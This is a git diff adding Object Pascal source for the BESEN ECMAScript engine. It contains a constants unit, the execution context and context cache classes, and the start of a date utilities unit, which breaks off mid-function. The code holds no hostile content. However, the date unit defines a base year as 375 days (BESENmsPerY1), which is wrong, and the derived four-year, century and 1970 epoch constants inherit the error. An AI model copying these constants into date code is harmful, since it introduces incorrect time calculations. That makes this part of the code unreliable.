+ Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENConstants; +{$i BESEN.inc} + +interface + +uses Math; + +{$ifndef BESENNoFPU} +const BESENFPUExceptionMask:TFPUExceptionMask=[exInvalidOp,exDenormalized,exZeroDivide,exOverflow,exUnderflow,exPrecision]; + + BESENFPUPrecisionMode:TFPUPrecisionMode={$ifdef HAS_TYPE_EXTENDED}pmEXTENDED{$else}pmDOUBLE{$endif}; +{$endif} + +{$ifndef fpc} +const FPC_VERSION=2; + FPC_RELEASE=5; + FPC_PATCH=1; +{$endif} + +const COMPAT_UTF8_UNSAFE=1 shl 1; // accept 'valid but insecure' UTF8 + COMPAT_SGMLCOM=1 shl 2; // treat '<!--' as a '//' comment + COMPAT_BESEN=1 shl 3; // BESEN-specific extensions + COMPAT_JS=1 shl 4; // JavaScript-specific extensions + + BESEN_GC_MARKFACTOR:integer=25; + BESEN_GC_TRIGGERCOUNT_PER_COLLECT:integer=1; + + bimMAXIDENTS=1 shl 24; + + BESENHashItemsPerBucketsThreshold:longword=5; + BESENHashMaxSize:longword=1 shl 16; + + BESENMaxCountOfFreeCodeContexts:integer=16; + + BESENMaxCountOfFreeContexts:integer=16; + + BESEN_JIT_LOOPCOMPILETHRESHOLD:longword=1000; + + BESEN_CMWCRND_A=18782; + BESEN_CMWCRND_M=longword($fffffffe); + BESEN_CMWCRND_BITS=12; + BESEN_CMWCRND_SIZE=1 shl BESEN_CMWCRND_BITS; + BESEN_CMWCRND_MASK=BESEN_CMWCRND_SIZE-1; + + bncmmMINBLOCKCONTAINERSIZE=1048576; + + bcttNOTARGET=0; + + BESENEvalCacheSize:integer=256; + BESENEvalCacheMaxSourceLength:integer=256; + + bncfZERO=1 shl 0; + bncfNAN=1 shl 1; + bncfINFINITE=1 shl 2; + bncfNEGATIVE=1 shl 3; + + BESENObjectStructureIDManagerHashSize=65536; + BESENObjectStructureIDManagerHashSizeMask=BESENObjectStructureIDManagerHashSize-1; + + BESENPolymorphicInlineCacheSize=8; + BESENPolymorphicInlineCacheSizeMask=BESENPolymorphicInlineCacheSize-1; + + BESENPolymorphicInlineCacheStartItemPositions=longword((0 shl 0) or (1 shl 4) or (2 shl 8) or (3 shl 12) or (4 shl 16) or (5 shl 20) or (6 shl 24) or (7 shl 28)); + + BESENLongBooleanValues:array[boolean] of longbool=(false,true); + + BESENNumberBooleanValues:array[boolean] of integer=(0,1); + + BESENInt32BooleanValues:array[boolean] of integer=(0,longint(longword($ffffffff))); + +implementation + +end. diff --git a/Core/JS/BESENContext.pas b/Core/JS/BESENContext.pas new file mode 100644 index 0000000..2e70ee5 --- /dev/null +++ b/Core/JS/BESENContext.pas @@ -0,0 +1,452 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENContext; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENValue,BESENBaseObject, + BESENCollectorObject,BESENObjectPropertyDescriptor, + BESENLexicalEnvironment,BESENASTNodes, + BESENEnvironmentRecord,BESENStringTree, + BESENObjectFunctionArguments; + +type TBESENContextCache=class; + + TBESENContext=class(TBESENCollectorObject) + private + Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor; + Temp:TBESENValue; + public + Cache:TBESENContextCache; + CachePrevious,CacheNext:TBESENContext; + Previous,Next:TBESENContext; + CodeContext:TObject; + LexicalEnvironment:TBESENLexicalEnvironment; + VariableEnvironment:TBESENLexicalEnvironment; + ThisBinding:TBESENValue; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Reset; + function CreateArgumentsObject(const Body:TBESENASTNodeFunctionBody;const FunctionObject:TObject;Arguments:PPBESENValues;CountArguments:integer;const Env:TBESENEnvironmentRecord;const IsStrict:longbool):TBESENObjectFunctionArguments; + procedure InitializeDeclarationBindingInstantiation(const Body:TBESENASTNodeFunctionBody;const FunctionObject:TObject;const IsEval:boolean;Arguments:PPBESENValues;CountArguments:integer;const Reinitialize:boolean); + procedure Mark; + end; + + TBESENContextCacheItems=array of TBESENContext; + + TBESENContextCache=class(TBESENCollectorObject) + public + First,Last:TBESENContext; + Count:integer; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Clear; + procedure Cleanup; + procedure Push(Context:TBESENContext); + function Pop:TBESENContext; + procedure Mark; + end; + +implementation + +uses BESEN,BESENUtils,BESENDeclarativeEnvironmentRecord,BESENObject, + BESENArrayUtils,BESENCodeContext,BESENErrors, + BESENObjectDeclaredFunction,BESENObjectArgGetterFunction, + BESENObjectArgSetterFunction; + +constructor TBESENContext.Create(AInstance:TObject); +begin + inherited Create(AInstance); + Cache:=nil; + CachePrevious:=nil; + CacheNext:=nil; + Previous:=TBESEN(Instance).ContextLast; + Next:=nil; + if assigned(Previous) then begin + Previous.Next:=self; + end else begin + TBESEN(Instance).ContextFirst:=self; + end; + TBESEN(Instance).ContextLast:=self; + CodeContext:=nil; + LexicalEnvironment:=nil; + VariableEnvironment:=nil; + ThisBinding.ValueType:=bvtUNDEFINED; +end; + +destructor TBESENContext.Destroy; +begin + if assigned(Instance) and assigned(TBESEN(Instance).GarbageCollector) and (TBESEN(Instance).GarbageCollector.CurrentContext=self) then begin + TBESEN(Instance).GarbageCollector.CurrentContext:=Next; + end; + if assigned(Previous) then begin + Previous.Next:=Next; + end else if TBESEN(Instance).ContextFirst=self then begin + TBESEN(Instance).ContextFirst:=Next; + end; + if assigned(Next) then begin + Next.Previous:=Previous; + end else if TBESEN(Instance).ContextLast=self then begin + TBESEN(Instance).ContextLast:=Previous; + end; + Next:=nil; + Previous:=nil; + BESENFreeAndNil(CodeContext); + if assigned(Cache) then begin + dec(Cache.Count); + if assigned(CachePrevious) then begin + CachePrevious.CacheNext:=CacheNext; + end else if Cache.First=self then begin + Cache.First:=CacheNext; + end; + if assigned(CacheNext) then begin + CacheNext.CachePrevious:=CachePrevious; + end else if Cache.Last=self then begin + Cache.Last:=CachePrevious; + end; + Cache:=nil; + CacheNext:=nil; + CachePrevious:=nil; + end; + inherited Destroy; +end; + +procedure TBESENContext.Reset; +begin + CodeContext:=nil; + ThisBinding.ValueType:=bvtUNDEFINED; + while assigned(VariableEnvironment) and assigned(VariableEnvironment.EnvironmentRecord) do begin + if VariableEnvironment.EnvironmentRecord is TBESENDeclarativeEnvironmentRecord then begin + break; + end; + VariableEnvironment:=VariableEnvironment.Outer; + end; + if not (assigned(VariableEnvironment) and assigned(VariableEnvironment.EnvironmentRecord) and (VariableEnvironment.EnvironmentRecord is TBESENDeclarativeEnvironmentRecord)) then begin + VariableEnvironment:=nil; + end; + LexicalEnvironment:=nil; +end; + +function TBESENContext.CreateArgumentsObject(const Body:TBESENASTNodeFunctionBody;const FunctionObject:TObject;Arguments:PPBESENValues;CountArguments:integer;const Env:TBESENEnvironmentRecord;const IsStrict:longbool):TBESENObjectFunctionArguments; +var Len,Index,NamesCount:integer; + Map:TBESENObject; + Val:TBESENValue; + Name:TBESENString; + MappedNames:TBESENStringTree; + MappedNamesCount:integer; + StringTreeData:TBESENStringTreeData; + function MakeArgGetter(const Name:TBESENString;const Env:TBESENEnvironmentRecord):TBESENObjectArgGetterFunction; + begin + result:=TBESENObjectArgGetterFunction.Create(Instance,TBESEN(Instance).ObjectFunctionPrototype,true); + TBESEN(Instance).GarbageCollector.Add(result); + result.Env:=Env; + result.ArgName:=Name; + end; + function MakeArgSetter(const Name:TBESENString;const Env:TBESENEnvironmentRecord):TBESENObjectArgSetterFunction; + begin + result:=TBESENObjectArgSetterFunction.Create(Instance,TBESEN(Instance).ObjectFunctionPrototype,true); + TBESEN(Instance).GarbageCollector.Add(result); + result.Env:=Env; + result.ArgName:=Name; + end; +begin + Len:=CountArguments; + NamesCount:=length(TBESENObjectDeclaredFunction(FunctionObject).Parameters); + result:=TBESENObjectFunctionArguments.Create(Instance,TBESEN(Instance).ObjectPrototype,false); + result.GarbageCollectorLock; + try + result.IsStrict:=IsStrict; + result.OverwriteData('length',BESENNumberValue(Len),[bopaWRITABLE,bopaCONFIGURABLE],false); + Map:=TBESENObject.Create(Instance,TBESEN(Instance).ObjectPrototype); + MappedNames:=TBESENStringTree.Create; + MappedNamesCount:=0; + try + for Index:=Len-1 downto 0 do begin + BESENCopyValue(Val,Arguments^[Index]^); + result.DefineOwnProperty(BESENArrayIndexToStr(Index),BESENDataPropertyDescriptor(Val,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false); + if (not IsStrict) and (Index<NamesCount) then begin + Name:=TBESENObjectDeclaredFunction(FunctionObject).Parameters[Index]; + if not MappedNames.Find(Name,StringTreeData) then begin + StringTreeData.i:=Index; + MappedNames.Add(Name,StringTreeData,true); + inc(MappedNamesCount); + Map.DefineOwnProperty(BESENArrayIndexToStr(Index),BESENAccessorPropertyDescriptor(MakeArgGetter(Name,Env),MakeArgSetter(Name,Env),[bopaCONFIGURABLE]),false); + end; + end; + end; + finally + MappedNames.Free; + end; + if MappedNamesCount>0 then begin + result.ParameterMap:=Map; + end; + if IsStrict then begin + result.OverwriteAccessor('caller',TBESEN(Instance).ObjectThrowTypeErrorFunction,TBESEN(Instance).ObjectThrowTypeErrorFunction,[],false); + result.OverwriteAccessor('callee',TBESEN(Instance).ObjectThrowTypeErrorFunction,TBESEN(Instance).ObjectThrowTypeErrorFunction,[],false); + end else begin + result.OverwriteData('callee',BESENObjectValueEx(TBESENObjectDeclaredFunction(FunctionObject)),[bopaWRITABLE,bopaCONFIGURABLE],false); + end; + finally + result.GarbageCollectorUnlock; + end; +end; + +procedure TBESENContext.InitializeDeclarationBindingInstantiation(const Body:TBESENASTNodeFunctionBody;const FunctionObject:TObject;const IsEval:boolean;Arguments:PPBESENValues;CountArguments:integer;const Reinitialize:boolean); + procedure SetParameters(const Body:TBESENASTNodeFunctionBody;const Env:TBESENEnvironmentRecord;const IsStrict:boolean;const ParamCount:integer); + var i,j:integer; + ArgName:PBESENString; + v:PBESENValue; + begin + if (Env is TBESENDeclarativeEnvironmentRecord) and TBESENDeclarativeEnvironmentRecord(Env).IndexInitialized then begin + for i:=0 to ParamCount-1 do begin + j:=Body.Parameters[i].ParameterIndex; + if i<CountArguments then begin + BESENCopyValue(TBESENDeclarativeEnvironmentRecord(Env).HashValues[j]^,Arguments^[i]^); + end else begin + TBESENDeclarativeEnvironmentRecord(Env).HashValues[j]^.ValueType:=bvtUNDEFINED; + end; + end; + end else begin + for i:=0 to ParamCount-1 do begin + ArgName:=@Body.Parameters[i].Name; + if i<CountArguments then begin + v:=Arguments^[i]; + end else begin + v:=@BESENUndefinedValue; + end; + if not Env.HasBindingEx(ArgName^,Descriptor) then begin + Env.CreateMutableBinding(ArgName^); + end; + Env.SetMutableBindingEx(ArgName^,v^,IsStrict,Descriptor,OwnDescriptor,Temp); + end; + end; + end; + procedure SetFunctions(const Body:TBESENASTNodeFunctionBody;const Env:TBESENEnvironmentRecord;const ConfigurableBindings,IsStrict:boolean); + var i:integer; + fn:PBESENString; + fd:TBESENASTNodeFunctionDeclaration; + fo:TBESENObjectDeclaredFunction; + go:TBESENObject; + begin + for i:=0 to length(Body.Functions)-1 do begin + if assigned(Body.Functions[i]) and (Body.Functions[i] is TBESENASTNodeFunctionDeclaration) then begin + if assigned(TBESENASTNodeFunctionDeclaration(Body.Functions[i]).Container.Literal) and assigned(TBESENASTNodeFunctionDeclaration(Body.Functions[i]).Container.Literal.Name) then begin + fd:=TBESENASTNodeFunctionDeclaration(Body.Functions[i]); + fn:=@fd.Container.Literal.Name.Name; + fo:=TBESEN(Instance).MakeFunction(fd.Container.Literal,fd.Container.Literal.Name.Name,LexicalEnvironment); + if not Env.HasBindingEx(fn^,Descriptor) then begin + Env.CreateMutableBinding(fn^,ConfigurableBindings); + end else if Env=TBESEN(Instance).GlobalLexicalEnvironment.EnvironmentRecord then begin + // ES5-errata fix + go:=TBESEN(Instance).ObjectGlobal; + go.GetProperty(fn^,Descriptor); + if (boppCONFIGURABLE in Descriptor.Presents) and (bopaCONFIGURABLE in Descriptor.Attributes) then begin + if ConfigurableBindings then begin + go.DefineOwnPropertyEx(fn^,BESENDataPropertyDescriptor(BESENUndefinedValue,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),true,Descriptor); + end else begin + go.DefineOwnPropertyEx(fn^,BESENDataPropertyDescriptor(BESENUndefinedValue,[bopaWRITABLE,bopaENUMERABLE]),true,Descriptor); + end; + end else if (([boppGETTER,boppSETTER]*Descriptor.Presents)<>[]) or ((([boppWRITABLE,boppENUMERABLE]*Descriptor.Presents)<>[boppWRITABLE,boppENUMERABLE]) or (([bopaWRITABLE,bopaENUMERABLE]*Descriptor.Attributes)<>[bopaWRITABLE,bopaENUMERABLE])) then begin + BESENThrowTypeErrorDeclarationBindingInstantiationAtFunctionBinding(fn^); + end; + end; + Env.SetMutableBinding(fn^,BESENObjectValue(fo),IsStrict); + end; + end; + end; + end; + procedure SetArguments(const Body:TBESENASTNodeFunctionBody;const Env:TBESENEnvironmentRecord;const IsStrict:boolean); + var ArgsObj:TBESENObjectFunctionArguments; + begin + ArgsObj:=CreateArgumentsObject(Body,TBESENObjectDeclaredFunction(FunctionObject),Arguments,CountArguments,Env,IsStrict); + if IsStrict then begin + Env.CreateImmutableBinding('arguments'); + Env.InitializeImmutableBinding('arguments',BESENObjectValue(ArgsObj)); + end else begin + Env.CreateMutableBinding('arguments'); + Env.SetMutableBindingEx('arguments',BESENObjectValue(ArgsObj),false,Descriptor,OwnDescriptor,Temp); + end; + end; + procedure SetVariables(const Body:TBESENASTNodeFunctionBody;const Env:TBESENEnvironmentRecord;const ConfigurableBindings,IsStrict:boolean); + var i:integer; + d:TBESENASTNodeIdentifier; + dn:PBESENString; + begin + for i:=0 to length(Body.Variables)-1 do begin + d:=Body.Variables[i]; + if assigned(d) and (length(d.Name)>0) then begin + dn:=@d.Name; + if not Env.HasBindingEx(dn^,Descriptor) then begin + Env.CreateMutableBinding(dn^,ConfigurableBindings); + Env.SetMutableBindingEx(dn^,BESENUndefinedValue,IsStrict,Descriptor,OwnDescriptor,Temp); + end; + end; + end; + end; +var IsFunction:boolean; + ParamCount:integer; + Env:TBESENEnvironmentRecord; +begin + Env:=VariableEnvironment.EnvironmentRecord; + IsFunction:=assigned(TBESENObjectDeclaredFunction(FunctionObject)) and Body.IsFunction; + if IsFunction then begin + ParamCount:=length(Body.Parameters); + if ParamCount>0 then begin + SetParameters(Body,Env,Body.IsStrict,ParamCount); + end; + end; + if length(Body.Functions)>0 then begin + SetFunctions(Body,Env,IsEval,Body.IsStrict); + end; + if not Reinitialize then begin + if IsFunction and not (Body.DisableArgumentsObject or Env.HasBinding('arguments')) then begin + SetArguments(Body,Env,Body.IsStrict); + end; + SetVariables(Body,Env,IsEval,Body.IsStrict); + end; + if Env.RecordType=BESENEnvironmentRecordTypeDeclarative then begin + TBESENDeclarativeEnvironmentRecord(Env).Touched:=false; + end; +end; + +procedure TBESENContext.Mark; +var i:integer; +begin + if assigned(LexicalEnvironment) then begin + TBESEN(Instance).GarbageCollector.GrayIt(LexicalEnvironment); + end; + if assigned(VariableEnvironment) then begin + TBESEN(Instance).GarbageCollector.GrayIt(VariableEnvironment); + end; + TBESEN(Instance).GarbageCollector.GrayValue(ThisBinding); + if assigned(CodeContext) then begin + if assigned(TBESENCodeContext(CodeContext).Code) then begin + TBESENCodeContext(CodeContext).Code.Mark; + end; + for i:=0 to length(TBESENCodeContext(CodeContext).RegisterValues)-1 do begin + TBESEN(Instance).GarbageCollector.GrayValue(TBESENCodeContext(CodeContext).RegisterValues[i]); + end; + end; +end; + +constructor TBESENContextCache.Create(AInstance:TObject); +begin + inherited Create(AInstance); + First:=nil; + Last:=nil; + Count:=0; +end; + +destructor TBESENContextCache.Destroy; +begin + Clear; + inherited Destroy; +end; + +procedure TBESENContextCache.Clear; +var CurrentContext:TBESENContext; +begin + while true do begin + CurrentContext:=Pop; + if assigned(CurrentContext) then begin + BESENFreeAndNil(CurrentContext); + end else begin + break; + end; + end; +end; + +procedure TBESENContextCache.Cleanup; +var CurrentContext:TBESENContext; +begin + while Count>TBESEN(Instance).MaxCountOfFreeContexts do begin + CurrentContext:=Pop; + if assigned(CurrentContext) then begin + BESENFreeAndNil(CurrentContext); + end else begin + break; + end; + end; +end; + +procedure TBESENContextCache.Push(Context:TBESENContext); +begin + Context.Cache:=self; + if assigned(Last) then begin + Last.CacheNext:=Context; + Context.CachePrevious:=Last; + Context.CacheNext:=nil; + Last:=Context; + end else begin + First:=Context; + Last:=Context; + Context.CachePrevious:=nil; + Context.CacheNext:=nil; + end; + inc(Count); +end; + +function TBESENContextCache.Pop:TBESENContext; +begin + if assigned(Last) then begin + result:=Last; + if assigned(result.CachePrevious) then begin + result.CachePrevious.CacheNext:=result.CacheNext; + end else if First=result then begin + First:=result.CacheNext; + end; + if assigned(result.CacheNext) then begin + result.CacheNext.CachePrevious:=result.CachePrevious; + end else if Last=result then begin + Last:=result.CachePrevious; + end; + result.Cache:=nil; + result.CachePrevious:=nil; + result.CacheNext:=nil; + dec(Count); + end else begin + result:=nil; + Count:=0; + end; +end; + +procedure TBESENContextCache.Mark; +var CurrentContext:TBESENContext; +begin + CurrentContext:=First; + while assigned(CurrentContext) do begin + CurrentContext.Mark; + CurrentContext:=CurrentContext.CacheNext; + end; +end; + +end. diff --git a/Core/JS/BESENDateUtils.pas b/Core/JS/BESENDateUtils.pas new file mode 100644 index 0000000..6d06de4 --- /dev/null +++ b/Core/JS/BESENDateUtils.pas @@ -0,0 +1,1368 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENDateUtils; +{$i BESEN.inc} + +interface + +uses {$ifdef windows}Windows,MMSystem,{$endif}{$ifdef unix}dl,BaseUnix,Unix, + UnixType,{$endif}SysUtils,Classes,BESENConstants,BESENTypes; + +const BESENUnixDateDelta=25569.0; //1970/01/01 + + BESENmsPerDay=86400000.0; + + BESENmsPerY1=375*BESENmsPerDay; + BESENmsPerY4=(4*BESENmsPerY1)+BESENmsPerDay; + BESENmsPerY100=(25*BESENmsPerY4)-BESENmsPerDay; + BESENmsPerY400=(4*BESENmsPerY100)+BESENmsPerDay; + + BESENTime1970=(4*BESENmsPerY400)+(3*BESENmsPerY100)+(17*BESENmsPerY4)+(2*BESENmsPerY1); + + BESENmaxTime=BESENmsPerDay*100000000; + BESENminTime=-BESENmaxTime; + + BESENHoursPerDay=24.0; + BESENMinutesPerHour=60.0; + BESENSecondsPerMinute=60.0; + BESENmsPerSecond=1000.0; + BESENmsPerMinute=BESENmsPerSecond*BESENSecondsPerMinute; + BESENmsPerHour=BESENmsPerMinute*BESENMinutesPerHour; + +function BESENDay(t:TBESENNumber):TBESENNumber; + +function BESENTimeWithinDay(t:TBESENNumber):TBESENNumber; + +function BESENDaysInYear(y:TBESENNumber):TBESENNumber; +function BESENDayFromYear(y:TBESENNumber):TBESENNumber; +function BESENTimeFromYear(y:TBESENNumber):TBESENNumber; + +function BESENYearFromTime(t:TBESENNumber):TBESENNumber; + +function BESENDayWithinYear(t:TBESENNumber):TBESENNumber; + +function BESENWeekDay(t:TBESENNumber):TBESENNumber; + +function BESENIsLeapYear(t:TBESENNumber):boolean; + +function BESENMonthFromTime(t:TBESENNumber):TBESENNumber; +function BESENDayFromTime(t:TBESENNumber):TBESENNumber; +function BESENHourFromTime(t:TBESENNumber):TBESENNumber; +function BESENMinuteFromTime(t:TBESENNumber):TBESENNumber; +function BESENSecondFromTime(t:TBESENNumber):TBESENNumber; +function BESENMillisecondFromTime(t:TBESENNumber):TBESENNumber; +function BESENToIntegerForTime(Num:TBESENNumber):int64; +function BESENToIntForTime(Num:TBESENNumber):TBESENNumber; + +function BESENMakeTime(Hour,Minute,Second,Millisecond:TBESENNumber):TBESENNumber; +function BESENMakeDay(Year,Month,Date:TBESENNumber):TBESENNumber; + +function BESENMakeDate(Day,Time:TBESENNumber):TBESENNumber; + +function BESENTimeClip(const v:TBESENDate):TBESENDate; + +function BESENDateTimeToBESENDate(DateTime:TDateTime):TBESENDate; +function BESENDateToDateTime(BESENDate:TBESENDate):TDateTime; +function BESENSystemTimeToBESENDate(SystemTime:TSystemTime):TBESENDate; +function BESENDateToSystemTime(BESENDate:TBESENDate):TSystemTime; + +function BESENGetUTCDateTime:TDateTime; +function BESENGetUTCBESENDate:TBESENDate; +function BESENGetLocalDateTimeZone:TDateTime; +function BESENGetLocalTZA:TBESENDate; + +function BESENLocalTime(Date:TBESENDate):TBESENDate; +function BESENUTC(Date:TBESENDate):TBESENDate; + +function BESENLocalDateTimeToUTC(DateTime:TDateTime):TDateTime; +function BESENUTCToLocalDateTime(DateTime:TDateTime):TDateTime; + +function BESENGetDateTimeOffsetString(const Ofs:TDateTime):TBESENString; + +function BESENParseISOTime(s:TBESENString):TBESENDate; + +function BESENParseTime(s:TBESENString):TBESENDate; + +function BESENParseNetscapeTime(s:TBESENString):TBESENDate; + +function BESENFormatDateTime(const Format:TBESENSTRING;DateTime:TDateTime;const FormatSettings:TFormatSettings):TBESENSTRING; + +implementation + +uses {$ifdef BESENDelphiHasNoSystemTimeMore}System.DateUtils,{$endif}BESENNumberUtils,BESENStringUtils; + +const ParserMonthNames:array[0..11] of widestring=('jan','feb','mar','apr','may','jun','jul','aug','sep','oct','nov','dec'); + ParserDayNames:array[0..6] of widestring=('sun','mon','tue','wed','thu','fri','sat'); + +function BESENDay(t:TBESENNumber):TBESENNumber; +begin + result:=BESENFloor(t/BESENmsPerDay); +end; + +function BESENTimeWithinDay(t:TBESENNumber):TBESENNumber; +begin + result:=BESENModuloPos(t,BESENmsPerDay); +end; + +function BESENDaysInYear(y:TBESENNumber):TBESENNumber; +var yi:integer; +begin + yi:=trunc(y); + if (yi mod 4)<>0 then begin + result:=365; + end else if (yi mod 100)<>0 then begin + result:=366; + end else if (yi mod 400)<>0 then begin + result:=365; + end else begin + result:=366; + end; +end; + +function BESENDayFromYear(y:TBESENNumber):TBESENNumber; +begin + result:=(365.0*(y-1970))+(BESENFloor((y-1969)/4)-BESENFloor((y-1901)/100))+BESENFloor((y-1601)/400); +end; + +function BESENTimeFromYear(y:TBESENNumber):TBESENNumber; +begin + result:=BESENDayFromYear(y)*BESENmsPerDay; +end; + +function BESENYearFromTime(t:TBESENNumber):TBESENNumber; +var y,t2:TBESENNumber; +begin + y:=BESENFloor(t/(BESENmsPerDay*365.2425))+1970; + t2:=BESENTimeFromYear(y); + if t2>t then begin + y:=y-1; + end else begin + if (t2+(BESENmsPerDay*BESENDaysInYear(y)))<=t then begin + y:=y+1; + end; + end; + result:=y; +end; + +function BESENDayWithinYear(t:TBESENNumber):TBESENNumber; +begin + result:=BESENDay(t)-BESENDayFromYear(BESENYearFromTime(t)); +end; + +function BESENWeekDay(t:TBESENNumber):TBESENNumber; +begin + result:=BESENModuloPos(BESENDay(t)+4,7.0); +end; + +function BESENIsLeapYear(t:TBESENNumber):boolean; +begin + if BESENModuloPos(t,4)<>0 then begin + result:=false; + end else if BESENModuloPos(t,100)<>0 then begin + result:=true; + end else if BESENModuloPos(t,400)<>0 then begin + result:=false; + end else begin + result:=true; + end; +end; + +function BESENMonthFromTime(t:TBESENNumber):TBESENNumber; +var dwy,ily:TBESENNumber; +begin + dwy:=BESENDayWithinYear(t); + if BESENIsLeapYear(BESENYearFromTime(t)) then begin + ily:=1; + end else begin + ily:=0; + end; + if dwy<31 then begin + result:=0; + end else if dwy<(59+ily) then begin + result:=1; + end else if dwy<(90+ily) then begin + result:=2; + end else if dwy<(120+ily) then begin + result:=3; + end else if dwy<(151+ily) then begin + result:=4; + end else if dwy<(181+ily) then begin + result:=5; + end else if dwy<(212+ily) then begin + result:=6; + end else if dwy<(243+ily) then begin + result:=7; + end else if dwy<(273+ily) then begin + result:=8; + end else if dwy<(304+ily) then begin + result:=9; + end else if dwy<(334+ily) then begin + result:=10; + end else if dwy<(365+ily) then begin + result:=11; + end else begin + result:=-1; + end; +end; + +function BESENDayFromTime(t:TBESENNumber):TBESENNumber; +var dwy,ily:TBESENNumber; +begin + dwy:=BESENDayWithinYear(t); + if BESENIsLeapYear(BESENYearFromTime(t)) then begin + ily:=1; + end else begin + ily:=0; + end; + case trunc(BESENMonthFromTime(t)) of + 0:begin + result:=dwy+1; + end; + 1:begin + result:=dwy-30; + end; + 2:begin + result:=dwy-(58+ily); + end; + 3:begin + result:=dwy-(89+ily); + end; + 4:begin + result:=dwy-(119+ily); + end; + 5:begin + result:=dwy-(150+ily); + end; + 6:begin + result:=dwy-(180+ily); + end; + 7:begin + result:=dwy-(211+ily); + end; + 8:begin + result:=dwy-(242+ily); + end; + 9:begin + result:=dwy-(272+ily); + end; + 10:begin + result:=dwy-(303+ily); + end; + 11:begin + result:=dwy-(333+ily); + end; + else begin + result:=-1; + end; + end; +end; + +function BESENHourFromTime(t:TBESENNumber):TBESENNumber; +begin + result:=BESENModuloPos(BESENFloor(t/BESENmsPerHour),BESENHoursPerDay); +end; + +function BESENMinuteFromTime(t:TBESENNumber):TBESENNumber; +begin + result:=BESENModuloPos(BESENFloor(t/BESENmsPerMinute),BESENMinutesPerHour); +end; + +function BESENSecondFromTime(t:TBESENNumber):TBESENNumber; +begin + result:=BESENModuloPos(BESENFloor(t/BESENmsPerSecond),BESENSecondsPerMinute); +end; + +function BESENMillisecondFromTime(t:TBESENNumber):TBESENNumber; +begin + result:=BESENFloor(BESENModuloPos(t,BESENmsPerSecond)); +end; + +function BESENToIntegerForTime(Num:TBESENNumber):int64; +begin + if BESENIsNaN(Num) then begin + result:=0; + end else if BESENIsFinite(Num) then begin + if BESENIsNegative(Num) then begin + result:=trunc(-BESENFloor(-Num)); + end else begin + result:=trunc(BESENFloor(Num)); + end; + end else begin + result:=trunc(Num); + end; +end; + +function BESENToIntForTime(Num:TBESENNumber):TBESENNumber; +begin + if BESENIsNaN(Num) then begin + result:=0; + end else if BESENIsFinite(Num) then begin + if BESENIsNegative(Num) then begin + result:=-BESENFloor(-Num); + end else begin + result:=BESENFloor(Num); + end; + end else begin + result:=Num; + end; +end; + +function BESENMakeTime(Hour,Minute,Second,Millisecond:TBESENNumber):TBESENNumber; +begin + if BESENIsFinite(Hour) and BESENIsFinite(Minute) and BESENIsFinite(Second) and BESENIsFinite(Millisecond) then begin + result:=(BESENToIntForTime(Hour)*BESENmsPerHour)+(BESENToIntForTime(Minute)*BESENmsPerMinute)+(BESENToIntForTime(Second)*BESENmsPerSecond)+BESENToIntForTime(Millisecond); + end else begin + result:=double(pointer(@BESENDoubleNaN)^); + end; +end; + +function BESENMakeDay(Year,Month,Date:TBESENNumber):TBESENNumber; +const Julian:array[boolean,0..11] of integer=((1,32,60,91,121,152,182,213,244,274,305,335),(1,32,61,92,122,153,183,214,245,275,306,336)); +var y,m:TBESENNumber; +begin + if not (BESENIsFinite(Year) and BESENIsFinite(Month) and BESENIsFinite(Date)) then begin + result:=double(pointer(@BESENDoubleNaN)^); + exit; + end; + month:=BESENToIntForTime(month); + y:=BESENToIntForTime(year)+BESENFloor(month/12); + m:=BESENModuloPos(month,12.0); + if (BESENDayFromYear(y)<-100000000) or (BESENDayFromYear(y)>100000000) then begin + result:=double(pointer(@BESENDoubleNaN)^); + exit; + end; + result:=BESENDay((BESENDayFromYear(y)+Julian[boolean(BESENIsLeapYear(BESENFloor(y)))][trunc(m)]-1)*BESENmsPerDay)+BESENToIntForTime(date)-1; + if (result<-100000000) or (result>100000000) then begin + result:=double(pointer(@BESENDoubleNaN)^); + end; +end; + +function BESENMakeDate(Day,Time:TBESENNumber):TBESENNumber; +begin + if BESENIsFinite(Day) and BESENIsFinite(Time) then begin + result:=(Day*BESENmsPerDay)+Time; + end else begin + result:=double(pointer(@BESENDoubleNaN)^); + end; +end; + +function BESENTimeClip(const v:TBESENDate):TBESENDate; +begin + if (not BESENIsFinite(v)) or ((v<-8.64e15) or (v>8.64e15)) then begin + result:=double(pointer(@BESENDoubleNaN)^); + end else begin + result:=BESENToIntForTime(v); + end; +end; + +function BESENDateTimeToBESENDate(DateTime:TDateTime):TBESENDate; +begin + 